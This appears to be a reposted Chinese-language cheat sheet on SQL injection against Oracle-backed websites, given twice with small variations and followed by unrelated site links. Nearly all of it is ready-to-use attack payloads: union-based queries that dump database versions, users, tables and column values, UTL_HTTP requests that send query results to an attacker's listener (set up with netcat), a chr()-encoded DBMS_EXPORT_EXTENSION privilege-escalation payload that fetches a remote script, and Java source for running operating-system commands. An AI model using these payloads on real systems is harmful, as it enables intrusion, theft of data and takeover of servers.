oracle 注射
来源:互联网 发布:sql union 编辑:程序博客网 时间:2024/04/27 17:24
作者:不详
来源:不详
判断是否为Oralce数据库:
And 0<>(select count(*) from dual) 返回正常页面表示为Oracle数据库
猜解字段数量:
使用order by 或者group by逐个提交数字 知道回显错误页面
列出字段数目 比如6个字段数目
and 1=1 null,null,null,null,null,null from dual-
因为ORACLE数据库是不自动匹配数据类型的,而null可以匹配任意数据类型,所以这样提交不会报错。 提交它返回了正常页面.
检测当前字段的数据类型,在null的前后加上‘’引号,如果返回正常则说明该字段为字符型,如果返回错误有可能是数字型的,如果不是数字型,那么就是其它类型
例如提交语句: and 1=1 union select null,’null’,null,’null’,null,’null’ from dual–
读取Oracle数据库版本:
把回显的数字替换成 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,’4′,5,’6′ from dual–
读取Oracle当前数据库连接用户名:
and 1=2 union select 1,(select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual),3,’4′,5,’6′ from dual–
读取当前网站的操作系统的版本:
and 1=2 union select 1,(select member from v$logfile where rownum=1),3,’4′,5,’6′ from dual-
判断UTL_HTTP包是否存在 :
select count(*) from all_objects where object_name=’UTL_HTTP’
利用UTL_HTTP注入 :
在本地用NC监听,使用’and UTL_HTTP.request(‘http://IP:2009/’||(查询语句))=1–的形式 . 本地先 nc -l -vv -p 2009,然后提交
‘and UTL_HTTP.request(‘http://IP:2009/’||(select banner from sys.v_$version where rownum=1))=1–
爆库:
‘and UTL_HTTP.request(‘http://ip:2009/’||(select owner from all_tables where
rownum=1))=1– 爆出第一个库
‘and UTL_HTTP.request(‘http://IP:2009/’||(select owner from all_tables where
owner<>’第一个库名’ and rownum=1))=1–
‘and UTL_HTTP.request(‘http://IP:2009/’||(select owner from all_tables where
owner<>’第二个库名’ and owner<>’第一个库名’ and rownum=1))=1–
爆表 :
‘and UTL_HTTP.request(‘http://IP:2009/’||(select TABLE_NAME from all_tables
where owner=’库名’and rownum=1))=1–
‘and UTL_HTTP.request(‘http://IP:2009/’||(select TABLE_NAME from all_tables
where owner=’库名’and rownum=1 and TABLE_NAME<>’第一个表名’))=1–
‘and UTL_HTTP.request(‘http://IP:2009/’||(select TABLE_NAME from all_tables
where owner=’库名’and rownum=1 and TABLE_NAME<>’第一个表名’ and TABLE_NAME<>’
第二个表名’))=1–
爆表列:
‘and UTL_HTTP.request(‘http://IP:2009/’||(select count(*) from user_tab_columns where table_name=’表名’))=1– 第一个表列名
或者
‘and UTL_HTTP.request(‘http://IP:2009/’||(select * from user_tab_columns where table_name=’表名’ and rownum=1))=1– 第一个表列名
‘and UTL_HTTP.request(‘http://IP:2009/’||(select * from user_tab_columns where table_name=’表名’ and rownum=1 and COLUMN_NAME<>’第一个爆出的列名’))=1–
爆字段值:
‘and UTL_HTTP.request(‘http://IP:2009/’||(select 表段 from 表名 where rownum=1))=1–
‘and UTL_HTTP.request(‘http://IP:2009/’||(select 表段 from 表名 where rownum=1 and 表段<>’第一个表段值’))=1–
利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函数 获取系统权限 :
‘and
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES (‘FOO’,'BAR’,'DBMS_OUTPUT”.PUT(:P1); utl_http.request
(‘http://www.xx.com/1.txt’) END;–’,'SYS’,0,’1′,0)=0–
假如提交后返回该页无法显示。换成char() 形式后and
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)||chr(70)||chr
(79),chr(79)||chr(39)||chr(44),chr(39)||chr(66)||chr(65)||chr(82)||chr(39)
||chr(44)||chr(39)||chr(68)||chr(66)||chr(77)||chr(883)||chr(95)||chr(79)
||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr
(49)||chr(41)||chr(59)||utl_http.request(chr(39)||chr(104)||chr(116)||chr
(116)||chr(112)||chr(58)||chr(47)||chr(47)||chr(119)||chr(119)||chr(119)||chr
(46)||chr(108)||chr(105)||chr(45)||chr(116)||chr(101)||chr(107)||chr(46)||chr
(99)||chr(111)||chr(109)||chr(47)||chr(49)||chr(46)||chr(116)||chr(120)||chr
(116)||chr(39))||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)||chr
(39),chr(39)||chr(83)||chr(89)||chr(83)||chr(39),0,chr(39)||chr(49)||chr
(39),0)=0–
远程地址的1.txt内容为 :
EXECUTE IMMEDIATE ‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE
IMMEDIATE ”CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED “JAVACMD” AS
import java.lang.*;import java.io.*;public class JAVACMD{public static void
execCommand (String command) throws IOException {Runtime.getRuntime
().exec(command);}};”;END;’
==========================================
①判断是否为Oralce数据库:
And 0<>(select count(*) from dual) 返回正常页面表示为Oracle数据库
②猜解字段数量:
使用order by 或者group by逐个提交数字 直到回显错误页面
③列出字段数目 比如6个字段数目
and 1=1 null,null,null,null,null,null from dual—
因为ORACLE数据库是不自动匹配数据类型的,而null可以匹配任意数据类型,所以这样提交不会报错。 提交它返回了正常页面.
现在来检测当前字段的数据类型,在null的前后加上‘’引号,如果返回正常则说明该字段为字符型,如果返回错误有可能是数字型的,如果不是数字型,那么就是其它类型
例如提交语句: and 1=1 union select null,’null’,null,’null’,null,’null’ from dual–
④读取Oracle数据库版本:
把回显的数字替换成 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,’4′,5,’6′ from dual–
⑤读取Oracle当前数据库连接用户名:
and 1=2 union select 1,(select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual),3,’4′,5,’6′ from dual–
⑥读取当前网站的操作系统的版本:
and 1=2 union select 1,(select member from v$logfile where rownum=1),3,’4′,5,’6′ from dual—
⑦读取表名:
and 1=2 union select 1,TABLE_NAME,3,’4′,5,’6′ from USER_TABLES–
⑧读取表中字段名:
and 1=2 union select 1,COLUMN_NAME,3,’4′,5,’6′ from COLS where TABLE_NAME=’要爆的表名’–
⑨读取表中字段名的数据:
and 1=2 union select 1,NAME,3,’4′,5,’6′ from 字段名–
——————————–
⑩判断UTL_HTTP包是否存在 :
select count(*) from all_objects where object_name=’UTL_HTTP’
利用UTL_HTTP注入 :
在本地用NC监听,使用’and UTL_HTTP.request(‘http://IP:2009/’||(查询语句))=1–的形式 . 本地先 nc -l -vv -p 2009,然后提交
‘and UTL_HTTP.request(‘http://IP:2009/’||(select banner from sys.v_$version where rownum=1))=1–
‘and UTL_HTTP.request(‘http://ip:2009/’||(select owner from all_tables where rownum=1))=1– 爆出第一个库
‘and UTL_HTTP.request(‘http://IP:2009/’||(select owner from all_tables where owner<>’第一个库名’ and rownum=1))=1–
‘and UTL_HTTP.request(‘http://IP:2009/’||(select owner from all_tables where owner<>’第二个库名’ and owner<>’第一个库名’ and rownum=1))=1–
爆表 :
‘and UTL_HTTP.request(‘http://IP:2009/’||(select TABLE_NAME from all_tables where owner=’库名’and rownum=1))=1–
‘and UTL_HTTP.request(‘http://IP:2009/’||(select TABLE_NAME from all_tables where owner=’库名’and rownum=1 and TABLE_NAME<>’第一个表名’))=1–
‘and UTL_HTTP.request(‘http://IP:2009/’||(select TABLE_NAME from all_tables where owner=’库名’and rownum=1 and TABLE_NAME<>’第一个表名’ and TABLE_NAME<>’第二个表名’))=1–
爆表列:
‘and UTL_HTTP.request(‘http://IP:2009/’||(select count(*) from user_tab_columns where table_name=’表名’))=1– 第一个表列名
或者
‘and UTL_HTTP.request(‘http://IP:2009/’||(select * from user_tab_columns where table_name=’表名’ and rownum=1))=1– 第一个表列名
‘and UTL_HTTP.request(‘http://IP:2009/’||(select * from user_tab_columns where table_name=’表名’ and rownum=1 and COLUMN_NAME<>’第一个爆出的列名’))=1–
爆字段值:
‘and UTL_HTTP.request(‘http://IP:2009/’||(select 表段 from 表名 where rownum=1))=1–
‘and UTL_HTTP.request(‘http://IP:2009/’||(select 表段 from 表名 where rownum=1 and 表段<>’第一个表段值’))=1–”
利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函数 获取系统权限 :
‘and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT”.PUT(:P1); utl_http.request (‘http://www.xx.com/1.txt’) END;–’,'SYS’,0,’1′,0)=0–
假如提交后返回该页无法显示。换成char() 形式后and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)||chr(70)||chr(79),chr(79)||chr(39)||chr(44),chr(39)||chr(66)||chr(65)||chr(82)||chr(39)||chr(44)||chr(39)||chr(68)||chr(66)||chr(77)||chr(883)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||utl_http.request(chr(39)||chr(104)||chr(116)||chr(116)||chr(112)||chr(58)||chr(47)||chr(47)||chr(119)||chr(119)||chr(119)||chr(46)||chr(108)||chr(105)||chr(45)||chr(116)||chr(101)||chr(107)||chr(46)||chr(99)||chr(111)||chr(109)||chr(47)||chr(49)||chr(46)||chr(116)||chr(120)||chr(116)||chr(39))||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)||chr(39),chr(39)||chr(83)||chr(89)||chr(83)||chr(39),0,chr(39)||chr(49)||chr(39),0)=0–
远程地址的1.txt内容为 :
EXECUTE IMMEDIATE ‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ”CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED “JAVACMD” AS import java.lang.*;import java.io.*;public class JAVACMD{public static void execCommand (String command) throws IOException {Runtime.getRuntime().exec(command);}};”;END;’
- oracle 注射
- oracle注射总结
- Oracle web环境注射技术
- Hacking Oracle 之光标注射
- Hacking Oracle 之光标注射
- 浅谈 Oracle web环境注射技术
- LKM 注射
- php注射
- 乙肝疫苗注射
- LKM 注射
- 注射&注资
- 注射依赖
- LKM 注射
- sql注射总结
- php注射库
- jsp注射(待翻译)
- PHP注射天书
- PHP注射库
- 编写ATL工程实现ActiveX控件调用cryptoAPI接口(二)------------信封加密与解密
- 简单的WATCHDOG定时器(看门狗)
- Eclipse快捷键大全
- 编写ATL工程实现ActiveX控件调用cryptoAPI接口(三)------------AES对称加密与解密
- linux ifconfig 命令的学习
- oracle 注射
- gcc,gdb安装和gdb基本调试命令
- pppoe的工作过程
- 个人技术规划
- 浅学javascript
- 【黑金视频连载】NIOSII视频教程(06)--沿中断实验
- unix下查看core文件
- 关于剪贴板中的网页保存
- Windows Forms 键盘事件